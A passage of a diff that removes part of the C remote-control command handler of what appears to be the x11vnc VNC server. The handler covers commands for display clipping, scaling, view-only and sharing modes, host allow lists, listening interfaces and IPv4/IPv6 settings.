- free(res);
- break;
- }
- if (res) {
- strcat(buf, res);
- free(res);
- }
- if (k < n - 1) {
- strcat(buf, ",");
- }
- }
- for (k=0; k<n; k++) {
- free(pieces[k]);
- }
- free(pieces);
- rc_npieces = 0;
- goto qry;
- }
- p += strlen("qry=");
- } else {
- rfbLog("ignoring malformed command: %s\n", cmd);
- goto done;
- }
-
- /* allow var=val usage */
- if (!strchr(p, ':')) {
- char *q = strchr(p, '=');
- if (q) *q = ':';
- }
-
- /* always call like: COLON_CHECK("foobar:") */
-#define COLON_CHECK(str) \
- if (strstr(p, str) != p) { \
- co = ":"; \
- if (! query) { \
- goto done; \
- } \
- } else { \
- char *q = strchr(p, ':'); \
- if (query && q != NULL) { \
- *(q+1) = '\0'; \
- } \
- }
-
-#define NOTAPP \
- if (query) { \
- if (strchr(p, ':')) { \
- snprintf(buf, bufn, "ans=%sN/A", p); \
- } else { \
- snprintf(buf, bufn, "ans=%s:N/A", p); \
- } \
- goto qry; \
- }
-
-#define NOTAPPRO \
- if (query) { \
- if (strchr(p, ':')) { \
- snprintf(buf, bufn, "aro=%sN/A", p); \
- } else { \
- snprintf(buf, bufn, "aro=%s:N/A", p); \
- } \
- goto qry; \
- }
-
-/*
- * Maybe add: passwdfile logfile bg rfbauth passwd...
- */
- if (!strcmp(p, "")) { /* skip-cmd-list */
- NOTAPP
- rfbLog("remote_cmd: empty command.\n");
- goto done;
- }
- if (strstr(p, "CR:") == p) { /* skip-cmd-list */
- /* CR:WxH+X+Y,dx,dy */
- int w, h, x, y, dx, dy;
- NOTAPP
- if (sscanf(p+3, "%dx%d+%d+%d,%d,%d", &w, &h, &x, &y, &dx, &dy) == 6) {
- sraRegionPtr r;
- rfbLog("rfbDoCopyRect(screen, %d, %d, %d, %d, %d, %d)\n", x, y, x+w, y+h, dx, dy);
- r = sraRgnCreateRect(x, y, x+w, y+h);
- do_copyregion(r, dx, dy, 0);
- fb_push();
- sraRgnDestroy(r);
- rfbLog("did\n");
- } else {
- rfbLog("remote_cmd: bad CR string: %s\n", p);
- }
- goto done;
- }
- if (!strcmp(p, "stop") || !strcmp(p, "quit") ||
- !strcmp(p, "exit") || !strcmp(p, "shutdown")) {
- NOTAPP
- if (client_connect_file) {
- FILE *in = fopen(client_connect_file, "w");
- if (in) {
- fprintf(in, "cmd=noop\n");
- fclose(in);
- }
- }
- rfbLog("remote_cmd: setting shut_down flag\n");
- shut_down = 1;
- close_all_clients();
- goto done;
- }
- if (!strcmp(p, "ping")
- || strstr(p, "ping:") == p) { /* skip-cmd-list */
- query = 1;
- if (rfb_desktop_name) {
- snprintf(buf, bufn, "ans=%s:%s", p, rfb_desktop_name);
- } else {
- snprintf(buf, bufn, "ans=%s:%s", p, "unknown");
- }
- goto qry;
- goto done;
- }
- if (!strcmp(p, "resend_cutbuffer")) {
- NOTAPP
- resend_selection("cutbuffer");
- goto done;
- }
- if (!strcmp(p, "resend_clipboard")) {
- NOTAPP
- resend_selection("clipboard");
- goto done;
- }
- if (!strcmp(p, "resend_primary")) {
- NOTAPP
- resend_selection("primary");
- goto done;
- }
- if (!strcmp(p, "blacken") || !strcmp(p, "zero")) {
- NOTAPP
- push_black_screen(4);
- goto done;
- }
- if (!strcmp(p, "refresh")) {
- NOTAPP
- refresh_screen(1);
- goto done;
- }
- if (!strcmp(p, "reset")) {
- NOTAPP
- do_new_fb(1);
- goto done;
- }
- if (strstr(p, "zero:") == p) { /* skip-cmd-list */
- int x1, y1, x2, y2;
- NOTAPP
- p += strlen("zero:");
- if (sscanf(p, "%d,%d,%d,%d", &x1, &y1, &x2, &y2) == 4) {
- int mark = 1;
- rfbLog("zeroing rect: %s\n", p);
- if (x1 < 0 || x2 < 0) {
- x1 = nabs(x1);
- x2 = nabs(x2);
- mark = 0; /* hack for testing */
- }
-
- zero_fb(x1, y1, x2, y2);
- if (mark) {
- mark_rect_as_modified(x1, y1, x2, y2, 0);
- }
- push_sleep(4);
- }
- goto done;
- }
- if (strstr(p, "damagefb:") == p) { /* skip-cmd-list */
- int delay;
- NOTAPP
- p += strlen("damagefb:");
- if (sscanf(p, "%d", &delay) == 1) {
- rfbLog("damaging client fb's for %d secs "
- "(by not marking rects.)\n", delay);
- damage_time = time(NULL);
- damage_delay = delay;
- }
- goto done;
- }
- if (strstr(p, "close") == p) {
- NOTAPP
- COLON_CHECK("close:")
- p += strlen("close:");
- close_clients(p);
- goto done;
- }
- if (strstr(p, "disconnect") == p) {
- NOTAPP
- COLON_CHECK("disconnect:")
- p += strlen("disconnect:");
- close_clients(p);
- goto done;
- }
- if (strstr(p, "id_cmd") == p) {
- NOTAPP
- COLON_CHECK("id_cmd:")
- p += strlen("id_cmd:");
- id_cmd(p);
- goto done;
- }
- if (strstr(p, "id") == p) {
- int ok = 0;
- Window twin;
- COLON_CHECK("id:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s0x%lx", p, co,
- rootshift ? 0 : subwin);
- goto qry;
- }
- p += strlen("id:");
- if (*p == '\0' || !strcmp("root", p)) { /* skip-cmd-list */
- /* back to root win */
- twin = 0x0;
- ok = 1;
- } else if (!strcmp("pick", p)) {
- twin = 0x0;
- if (safe_remote_only) {
- rfbLog("unsafe: '-id pick'\n");
- } else if (pick_windowid(&twin)) {
- ok = 1;
- }
- } else if (! scan_hexdec(p, &twin)) {
- rfbLog("-id: skipping incorrect hex/dec number:"
- " %s\n", p);
- } else {
- ok = 1;
- }
- if (ok) {
- X_LOCK;
- if (twin && ! valid_window(twin, NULL, 0)) {
- rfbLog("skipping invalid sub-window: 0x%lx\n", twin);
- X_UNLOCK;
- } else {
- subwin = twin;
- rootshift = 0;
- X_UNLOCK;
- check_black_fb();
- do_new_fb(1);
- }
- }
- goto done;
- }
- if (strstr(p, "sid") == p) {
- int ok = 0;
- Window twin;
- COLON_CHECK("sid:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s0x%lx", p, co,
- !rootshift ? 0 : subwin);
- goto qry;
- }
- p += strlen("sid:");
- if (*p == '\0' || !strcmp("root", p)) { /* skip-cmd-list */
- /* back to root win */
- twin = 0x0;
- ok = 1;
- } else if (!strcmp("pick", p)) {
- twin = 0x0;
- if (safe_remote_only) {
- rfbLog("unsafe: '-sid pick'\n");
- } else if (pick_windowid(&twin)) {
- ok = 1;
- }
- } else if (! scan_hexdec(p, &twin)) {
- rfbLog("-sid: skipping incorrect hex/dec number: %s\n", p);
- } else {
- ok = 1;
- }
- if (ok) {
- X_LOCK;
- if (twin && ! valid_window(twin, NULL, 0)) {
- rfbLog("skipping invalid sub-window: 0x%lx\n", twin);
- X_UNLOCK;
- } else {
- subwin = twin;
- rootshift = 1;
- X_UNLOCK;
- check_black_fb();
- do_new_fb(1);
- }
- }
- goto done;
- }
- if (strstr(p, "waitmapped") == p) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p,
- subwin_wait_mapped);
- goto qry;
- }
- subwin_wait_mapped = 1;
- goto done;
- }
- if (strstr(p, "nowaitmapped") == p) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p,
- !subwin_wait_mapped);
- goto qry;
- }
- subwin_wait_mapped = 0;
- goto done;
- }
- if (!strcmp(p, "clip") ||
- strstr(p, "clip:") == p) { /* skip-cmd-list */
- COLON_CHECK("clip:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(clip_str));
- goto qry;
- }
- p += strlen("clip:");
- if (clip_str) {
- int w, h, x, y;
- free(clip_str);
- /* try to handle easy case where WxH is unchanged: */
- if (parse_geom(p, &w, &h, &x, &y, wdpy_x, wdpy_y)) {
- if (cdpy_x == w && cdpy_y == h) {
- if (x >= 0 && y >= 0) {
- if (x + w <= wdpy_x && y + h <= wdpy_y) {
- coff_x = x;
- coff_y = y;
- clip_str = strdup(p);
- goto done;
- }
- }
- }
- }
- }
- clip_str = strdup(p);
-
- /* OK, this requires a new fb... */
- do_new_fb(1);
- goto done;
- }
- if (!strcmp(p, "flashcmap")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, flash_cmap);
- goto qry;
- }
- rfbLog("remote_cmd: turning on flashcmap mode.\n");
- flash_cmap = 1;
- goto done;
- }
- if (!strcmp(p, "noflashcmap")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !flash_cmap);
- goto qry;
- }
- rfbLog("remote_cmd: turning off flashcmap mode.\n");
- flash_cmap = 0;
- goto done;
- }
- if (strstr(p, "shiftcmap") == p) {
- COLON_CHECK("shiftcmap:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co, shift_cmap);
- goto qry;
- }
- p += strlen("shiftcmap:");
- shift_cmap = atoi(p);
- rfbLog("remote_cmd: set -shiftcmap %d\n", shift_cmap);
- do_new_fb(1);
- goto done;
- }
- if (!strcmp(p, "truecolor")) {
- int orig = force_indexed_color;
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p,
- !force_indexed_color);
- goto qry;
- }
- rfbLog("remote_cmd: turning off notruecolor mode.\n");
- force_indexed_color = 0;
- if (orig != force_indexed_color) {
- if_8bpp_do_new_fb();
- }
- goto done;
- }
- if (!strcmp(p, "notruecolor")) {
- int orig = force_indexed_color;
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p,
- force_indexed_color);
- goto qry;
- }
- rfbLog("remote_cmd: turning on notruecolor mode.\n");
- force_indexed_color = 1;
- if (orig != force_indexed_color) {
- if_8bpp_do_new_fb();
- }
- goto done;
- }
- if (!strcmp(p, "overlay")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, overlay);
- goto qry;
- }
- rfbLog("remote_cmd: turning on -overlay mode.\n");
- if (!overlay_present) {
- rfbLog("skipping: overlay extension not present.\n");
- } else if (overlay) {
- rfbLog("skipping: already in -overlay mode.\n");
- } else {
- int reset_mem = 0;
- /* here we go... */
- if (using_shm) {
- rfbLog("setting -noshm mode.\n");
- using_shm = 0;
- reset_mem = 1;
- }
- overlay = 1;
- do_new_fb(reset_mem);
- }
- goto done;
- }
- if (!strcmp(p, "nooverlay")) {
- int orig = overlay;
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !overlay);
- goto qry;
- }
- rfbLog("remote_cmd: turning off overlay mode\n");
- overlay = 0;
- if (!overlay_present) {
- rfbLog("warning: overlay extension not present.\n");
- } else if (!orig) {
- rfbLog("skipping: already not in -overlay mode.\n");
- } else {
- /* here we go... */
- do_new_fb(0);
- }
- goto done;
- }
- if (!strcmp(p, "overlay_cursor") ||
- !strcmp(p, "overlay_yescursor") ||
- !strcmp(p, "nooverlay_nocursor")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, overlay_cursor);
- goto qry;
- }
- rfbLog("remote_cmd: turning on overlay_cursor mode.\n");
- overlay_cursor = 1;
- if (!overlay_present) {
- rfbLog("warning: overlay extension not present.\n");
- } else if (!overlay) {
- rfbLog("warning: not in -overlay mode.\n");
- } else {
- rfbLog("You may want to run -R noshow_cursor or\n");
- rfbLog(" -R cursor:none to disable any extra "
- "cursors.\n");
- }
- goto done;
- }
- if (!strcmp(p, "nooverlay_cursor") ||
- !strcmp(p, "nooverlay_yescursor") ||
- !strcmp(p, "overlay_nocursor")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !overlay_cursor);
- goto qry;
- }
- rfbLog("remote_cmd: turning off overlay_cursor mode\n");
- overlay_cursor = 0;
- if (!overlay_present) {
- rfbLog("warning: overlay extension not present.\n");
- } else if (!overlay) {
- rfbLog("warning: not in -overlay mode.\n");
- } else {
- rfbLog("You may want to run -R show_cursor or\n");
- rfbLog(" -R cursor:... to re-enable any cursors.\n");
- }
- goto done;
- }
- if (!strcmp(p, "8to24")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, cmap8to24);
- goto qry;
- }
- if (overlay) {
- rfbLog("disabling -overlay in -8to24 mode.\n");
- overlay = 0;
- }
- rfbLog("remote_cmd: turning on -8to24 mode.\n");
- cmap8to24 = 1;
- if (overlay) {
- rfbLog("disabling -overlay in -8to24 mode.\n");
- overlay = 0;
- }
- do_new_fb(0);
- goto done;
- }
- if (!strcmp(p, "no8to24")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !cmap8to24);
- goto qry;
- }
- rfbLog("remote_cmd: turning off -8to24 mode.\n");
- cmap8to24 = 0;
- do_new_fb(0);
- goto done;
- }
- if (strstr(p, "8to24_opts") == p) {
- COLON_CHECK("8to24_opts:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(cmap8to24_str));
- goto qry;
- }
- p += strlen("8to24_opts:");
- if (cmap8to24_str) {
- free(cmap8to24_str);
- }
- cmap8to24_str = strdup(p);
- if (*p == '\0') {
- cmap8to24 = 0;
- } else {
- cmap8to24 = 1;
- }
- rfbLog("remote_cmd: set cmap8to24_str to: %s\n", cmap8to24_str);
- do_new_fb(0);
- goto done;
- }
- if (!strcmp(p, "24to32")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, xform24to32);
- goto qry;
- }
- rfbLog("remote_cmd: turning on -24to32 mode.\n");
- xform24to32 = 1;
- do_new_fb(1);
- goto done;
- }
- if (!strcmp(p, "no24to32")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !xform24to32);
- goto qry;
- }
- rfbLog("remote_cmd: turning off -24to32 mode.\n");
- if (set_visual_str_to_something) {
- if (visual_str) {
- rfbLog("unsetting: %d %d/%d\n", visual_str,
- (int) visual_id, visual_depth);
- free(visual_str);
- }
- visual_str = NULL;
- visual_id = (VisualID) 0;
- visual_depth = 0;
- }
- xform24to32 = 0;
- do_new_fb(1);
- goto done;
- }
- if (strstr(p, "visual") == p) {
- COLON_CHECK("visual:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(visual_str));
- goto qry;
- }
- p += strlen("visual:");
- if (visual_str) free(visual_str);
- visual_str = strdup(p);
-
- /* OK, this requires a new fb... */
- do_new_fb(0);
- goto done;
- }
- if (!strcmp(p, "scale") ||
- strstr(p, "scale:") == p) { /* skip-cmd-list */
- COLON_CHECK("scale:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(scale_str));
- goto qry;
- }
- p += strlen("scale:");
- if (scale_str) free(scale_str);
- scale_str = strdup(p);
-
- /* OK, this requires a new fb... */
- check_black_fb();
- do_new_fb(0);
- goto done;
- }
- if (!strcmp(p, "scale_cursor") ||
- strstr(p, "scale_cursor:") == p) { /* skip-cmd-list */
- COLON_CHECK("scale_cursor:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(scale_cursor_str));
- goto qry;
- }
- p += strlen("scale_cursor:");
- if (scale_cursor_str) free(scale_cursor_str);
- if (*p == '\0') {
- scale_cursor_str = NULL;
- } else {
- scale_cursor_str = strdup(p);
- }
- setup_cursors_and_push();
- goto done;
- }
- if (!strcmp(p, "viewonly")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, view_only);
- goto qry;
- }
- rfbLog("remote_cmd: enable viewonly mode.\n");
- view_only = 1;
- goto done;
- }
- if (!strcmp(p, "noviewonly")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !view_only);
- goto qry;
- }
- rfbLog("remote_cmd: disable viewonly mode.\n");
- view_only = 0;
- if (raw_fb) set_raw_fb_params(0);
- goto done;
- }
- if (!strcmp(p, "shared")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, shared); goto qry;
- }
- rfbLog("remote_cmd: enable sharing.\n");
- shared = 1;
- if (screen) {
- /* mutex */
- screen->alwaysShared = TRUE;
- screen->neverShared = FALSE;
- }
- goto done;
- }
- if (!strcmp(p, "noshared")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !shared); goto qry;
- }
- rfbLog("remote_cmd: disable sharing.\n");
- shared = 0;
- if (screen) {
- /* mutex */
- screen->alwaysShared = FALSE;
- screen->neverShared = TRUE;
- }
- goto done;
- }
- if (!strcmp(p, "forever")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, 1-connect_once);
- goto qry;
- }
- rfbLog("remote_cmd: enable -forever mode.\n");
- connect_once = 0;
- goto done;
- }
- if (!strcmp(p, "noforever") || !strcmp(p, "once")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, connect_once);
- goto qry;
- }
- rfbLog("remote_cmd: disable -forever mode.\n");
- connect_once = 1;
- goto done;
- }
- if (strstr(p, "timeout") == p) {
- int to;
- COLON_CHECK("timeout:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co,
- first_conn_timeout);
- goto qry;
- }
- p += strlen("timeout:");
- to = atoi(p);
- if (to > 0 ) {
- to = -to;
- }
- first_conn_timeout = to;
- rfbLog("remote_cmd: set -timeout to %d\n", -to);
- goto done;
- }
- if (!strcmp(p, "tightfilexfer")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, tightfilexfer);
- goto qry;
- }
-#ifdef LIBVNCSERVER_WITH_TIGHTVNC_FILETRANSFER
- if (! tightfilexfer) {
- rfbLog("remote_cmd: enabling -tightfilexfer for *NEW* clients.\n");
- tightfilexfer = 1;
- rfbLog("rfbRegisterTightVNCFileTransferExtension: 4\n");
- rfbRegisterTightVNCFileTransferExtension();
- }
-#else
- rfbLog("remote_cmd: -tightfilexfer not supported in this binary.\n");
-#endif
- goto done;
- }
- if (!strcmp(p, "notightfilexfer")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !tightfilexfer);
- goto qry;
- }
-#ifdef LIBVNCSERVER_WITH_TIGHTVNC_FILETRANSFER
- if (tightfilexfer) {
- rfbLog("remote_cmd: disabling -tightfilexfer for *NEW* clients.\n");
- tightfilexfer = 0;
- rfbLog("rfbUnregisterTightVNCFileTransferExtension: 2\n");
- rfbUnregisterTightVNCFileTransferExtension();
- }
-#else
- rfbLog("remote_cmd: -tightfilexfer not supported in this binary.\n");
-#endif
- goto done;
- }
- if (!strcmp(p, "ultrafilexfer")) {
- if (query) {
- if (screen) {
- snprintf(buf, bufn, "ans=%s:%d", p, screen->permitFileTransfer == TRUE);
- } else {
- snprintf(buf, bufn, "ans=%s:%d", p, 0);
- }
- goto qry;
- }
- if (! screen->permitFileTransfer) {
- rfbLog("remote_cmd: enabling -ultrafilexfer for clients.\n");
- /* mutex */
- screen->permitFileTransfer = TRUE;
- }
- goto done;
- }
- if (!strcmp(p, "noultrafilexfer")) {
- if (query) {
- if (screen) {
- snprintf(buf, bufn, "ans=%s:%d", p, screen->permitFileTransfer == FALSE);
- } else {
- snprintf(buf, bufn, "ans=%s:%d", p, 1);
- }
- goto qry;
- }
- if (screen->permitFileTransfer) {
- rfbLog("remote_cmd: disabling -ultrafilexfer for clients.\n");
- /* mutex */
- screen->permitFileTransfer = FALSE;
- }
- goto done;
- }
- if (strstr(p, "rfbversion") == p) {
- int maj, min;
- COLON_CHECK("rfbversion:")
- if (query) {
- if (screen) {
- snprintf(buf, bufn, "ans=%s:%d.%d", p, screen->protocolMajorVersion, screen->protocolMinorVersion);
- } else {
- snprintf(buf, bufn, "ans=%s:%d.%d", p, 3, 8);
- }
- goto qry;
- }
- p += strlen("rfbversion:");
-
- if (sscanf(p, "%d.%d", &maj, &min) == 2) {
- /* mutex */
- screen->protocolMajorVersion = maj;
- screen->protocolMinorVersion = min;
- rfbLog("remote_cmd: set rfbversion to: %d.%d\n", maj, min);
- } else {
- rfbLog("remote_cmd: invalid rfbversion: %s\n", p);
- }
- goto done;
- }
- if (!strcmp(p, "deny") || !strcmp(p, "lock")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, deny_all);
- goto qry;
- }
- rfbLog("remote_cmd: denying new connections.\n");
- deny_all = 1;
- goto done;
- }
- if (!strcmp(p, "nodeny") || !strcmp(p, "unlock")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !deny_all);
- goto qry;
- }
- rfbLog("remote_cmd: allowing new connections.\n");
- deny_all = 0;
- goto done;
- }
- if (!strcmp(p, "avahi") || !strcmp(p, "mdns") || !strcmp(p, "zeroconf")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, avahi);
- goto qry;
- }
- rfbLog("remote_cmd: enable -avahi mDNS mode.\n");
- if (!avahi) {
- avahi = 1;
- avahi_initialise();
- avahi_advertise(vnc_desktop_name, this_host(),
- screen->port);
- }
- goto done;
- }
- if (!strcmp(p, "noavahi") || !strcmp(p, "nomdns") || !strcmp(p, "nozeroconf")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !avahi);
- goto qry;
- }
- rfbLog("remote_cmd: disable -avahi mDNS mode.\n");
- if (avahi) {
- avahi = 0;
- avahi_reset();
- }
- goto done;
- }
- if (strstr(p, "connect") == p) {
- NOTAPP
- COLON_CHECK("connect:")
- p += strlen("connect:");
- /* this is a reverse connection */
- reverse_connect(p);
- goto done;
- }
- if (strstr(p, "proxy") == p) {
- COLON_CHECK("proxy:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(connect_proxy));
- goto qry;
- }
- p += strlen("proxy:");
- if (connect_proxy) {
- free(connect_proxy);
- connect_proxy = NULL;
- }
- if (!strcmp(p, "") || !strcasecmp(p, "none")) { /* skip-cmd-list */
- rfbLog("remote_cmd: disabled -proxy\n");
- } else {
- connect_proxy = strdup(p);
- rfbLog("remote_cmd: set -proxy %s\n", connect_proxy);
- }
- goto done;
- }
- if (strstr(p, "allowonce") == p) {
- COLON_CHECK("allowonce:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(allow_once));
- goto qry;
- }
- p += strlen("allowonce:");
- allow_once = strdup(p);
- rfbLog("remote_cmd: set allow_once %s\n", allow_once);
- goto done;
- }
- if (strstr(p, "allow") == p) {
- char *before, *old;
- COLON_CHECK("allow:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(allow_list));
- goto qry;
- }
-
- if (unixpw) {
- rfbLog("remote_cmd: cannot change allow in -unixpw\n");
- goto done;
- }
- p += strlen("allow:");
- if (allow_list && strchr(allow_list, '/')) {
- rfbLog("remote_cmd: cannot use allow:host\n");
- rfbLog("in '-allow %s' mode.\n", allow_list);
- goto done;
- }
- if (allow_list) {
- before = strdup(allow_list);
- } else {
- before = strdup("");
- }
-
- old = allow_list;
- if (*p == '+') {
- p++;
- allow_list = add_item(allow_list, p);
- } else if (*p == '-') {
- p++;
- allow_list = delete_item(allow_list, p);
- } else {
- allow_list = strdup(p);
- }
-
- if (strcmp(before, allow_list)) {
- rfbLog("remote_cmd: modified allow_list:\n");
- rfbLog(" from: \"%s\"\n", before);
- rfbLog(" to: \"%s\"\n", allow_list);
- }
- if (old) free(old);
- free(before);
- goto done;
- }
- if (!strcmp(p, "noipv6")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, noipv6);
- goto qry;
- }
- rfbLog("remote_cmd: enabling -noipv6 mode for future sockets.\n");
- noipv6 = 1;
- goto done;
- }
- if (!strcmp(p, "ipv6")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !noipv6);
- goto qry;
- }
- rfbLog("remote_cmd: disabling -noipv6 mode for future sockets.\n");
- noipv6 = 0;
- goto done;
- }
- if (!strcmp(p, "noipv4")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, noipv4);
- goto qry;
- }
- rfbLog("remote_cmd: enabling -noipv4 mode for future sockets.\n");
- noipv4 = 1;
- goto done;
- }
- if (!strcmp(p, "ipv4")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !noipv4);
- goto qry;
- }
- rfbLog("remote_cmd: disabling -noipv4 mode for future sockets.\n");
- noipv4 = 0;
- goto done;
- }
- if (!strcmp(p, "no6")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !ipv6_listen);
- goto qry;
- }
- if (ipv6_listen) {
- ipv6_listen = 0;
- rfbLog("disabling -6 IPv6 listening mode.\n");
- reset_rfbport(-1, screen->port);
- reset_httpport(-1, screen->httpPort);
- if (https_port_num > 0) {
- https_port(1);
- }
- }
- goto done;
- }
- if (!strcmp(p, "6")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, ipv6_listen);
- goto qry;
- }
- if (!ipv6_listen) {
- ipv6_listen = 1;
- rfbLog("enabling -6 IPv6 listening mode.\n");
- reset_rfbport(-1, screen->port);
- reset_httpport(-1, screen->httpPort);
- if (https_port_num > 0) {
- https_port(1);
- }
- }
- goto done;
- }
- if (!strcmp(p, "localhost")) {
- char *before, *old;
- if (query) {
- int state = 0;
- char *s = allow_list;
- if (s && (!strcmp(s, "127.0.0.1") ||
- !strcmp(s, "localhost"))) {
- state = 1;
- }
- snprintf(buf, bufn, "ans=%s:%d", p, state);
- goto qry;
- }
- if (allow_list) {
- before = strdup(allow_list);
- } else {
- before = strdup("");
- }
- old = allow_list;
-
- allow_list = strdup("127.0.0.1");
-
- if (strcmp(before, allow_list)) {
- rfbLog("remote_cmd: modified allow_list:\n");
- rfbLog(" from: \"%s\"\n", before);
- rfbLog(" to: \"%s\"\n", allow_list);
- }
- if (old) free(old);
- free(before);
-
- if (listen_str) {
- free(listen_str);
- }
- listen_str = strdup("localhost");
-
- /* mutex */
- screen->listenInterface = htonl(INADDR_LOOPBACK);
- rfbLog("listening on loopback network only.\n");
- rfbLog("allow list is: '%s'\n", NONUL(allow_list));
- reset_rfbport(-1, screen->port);
- reset_httpport(-1, screen->httpPort);
- goto done;
- }
- if (!strcmp(p, "nolocalhost")) {
- char *before, *old;
- if (query) {
- int state = 0;
- char *s = allow_list;
- if (s && (!strcmp(s, "127.0.0.1") ||
- !strcmp(s, "localhost"))) {
- state = 1;
- }
- snprintf(buf, bufn, "ans=%s:%d", p, !state);
- goto qry;
- }
- if (unixpw) {
- rfbLog("remote_cmd: cannot change localhost in -unixpw\n");
- goto done;
- }
- if (allow_list) {
- before = strdup(allow_list);
- } else {
- before = strdup("");
- }
- old = allow_list;
-
- allow_list = strdup("");
-
- if (strcmp(before, allow_list)) {
- rfbLog("remote_cmd: modified allow_list:\n");
- rfbLog(" from: \"%s\"\n", before);
- rfbLog(" to: \"%s\"\n", allow_list);
- }
- if (old) free(old);
- free(before);
-
- if (listen_str) {
- free(listen_str);
- }
- listen_str = NULL;
-
- /* mutex */
- screen->listenInterface = htonl(INADDR_ANY);
- rfbLog("listening on ALL network interfaces.\n");
- rfbLog("allow list is: '%s'\n", NONUL(allow_list));
- reset_rfbport(-1, screen->port);
- reset_httpport(-1, screen->httpPort);
- goto done;
- }
- if (strstr(p, "listen") == p) {
- char *before;
- int ok, mod = 0;
-
- COLON_CHECK("listen:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(listen_str));
- goto qry;
- }
- if (unixpw) {
- rfbLog("remote_cmd: cannot change listen in -unixpw\n");
- goto done;
- }
- if (listen_str) {
- before = strdup(listen_str);
- } else {
- before = strdup("");
- }
- p += strlen("listen:");
-
- listen_str = strdup(p);
-
- if (strcmp(before, listen_str)) {
- rfbLog("remote_cmd: modified listen_str:\n");
- rfbLog(" from: \"%s\"\n", before);
- rfbLog(" to: \"%s\"\n", listen_str);
- mod = 1;
- }
-
- ok = 1;
- /* mutex */
- if (listen_str == NULL || *listen_str == '\0' ||
- !strcmp(listen_str, "any")) {
- screen->listenInterface = htonl(INADDR_ANY);
- } else if (!strcmp(listen_str, "localhost")) {
- screen->listenInterface = htonl(INADDR_LOOPBACK);
- } else {
- struct hostent *hp;
- in_addr_t iface = inet_addr(listen_str);
- if (iface == htonl(INADDR_NONE)) {
- if (!host_lookup) {
- ok = 0;
- } else if (!(hp = gethostbyname(listen_str))) {
- ok = 0;
- } else {
- iface = *(unsigned long *)hp->h_addr;
- }
- }
- if (ok) {
- screen->listenInterface = iface;
- }
- }
-
- if (ok && mod) {
- int is_loopback = 0;
- in_addr_t iface = screen->listenInterface;
-
- if (allow_list) {
- if (!strcmp(allow_list, "127.0.0.1") ||
- !strcmp(allow_list, "localhost")) {
- is_loopback = 1;
- }
- }
- if (iface != htonl(INADDR_LOOPBACK)) {
- if (is_loopback) {
- rfbLog("re-setting -allow list to all "
- "hosts for non-loopback listening.\n");
- if (allow_list) {
- free(allow_list);
- }
- allow_list = NULL;
- }
- } else {
- if (!is_loopback) {
- if (allow_list) {
- free(allow_list);
- }
- rfbLog("setting -allow list to 127.0.0.1\n");
- allow_list = strdup("127.0.0.1");
- }
- }
- }
- if (ok) {
- rfbLog("allow list is: '%s'\n", NONUL(allow_list));
- reset_rfbport(-1, screen->port);
- reset_httpport(-1, screen->httpPort);
- free(before);
- } else {
- rfbLog("invalid listen string: %s\n", listen_str);
- free(listen_str);
- listen_str = before;
- }
- goto done;
- }
- if (!strcmp(p, "lookup")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, host_lookup);
- goto qry;
- }
- rfbLog("remote_cmd: enabling hostname lookup.\n");
- host_lookup = 1;
- goto done;
- }
- if (!strcmp(p, "nolookup")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !host_lookup);
- goto qry;
- }
- rfbLog("remote_cmd: disabling hostname lookup.\n");
- host_lookup = 0;
- goto done;
- }
- if (strstr(p, "accept") == p) {
- int doit = 1, safe = 0;
- COLON_CHECK("accept:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(accept_cmd));
- goto qry;
- }
- p += strlen("accept:");
- if (!strcmp(p, "") || strstr(p, "popup") == p) { /* skip-cmd-list */
- safe = 1;
- }
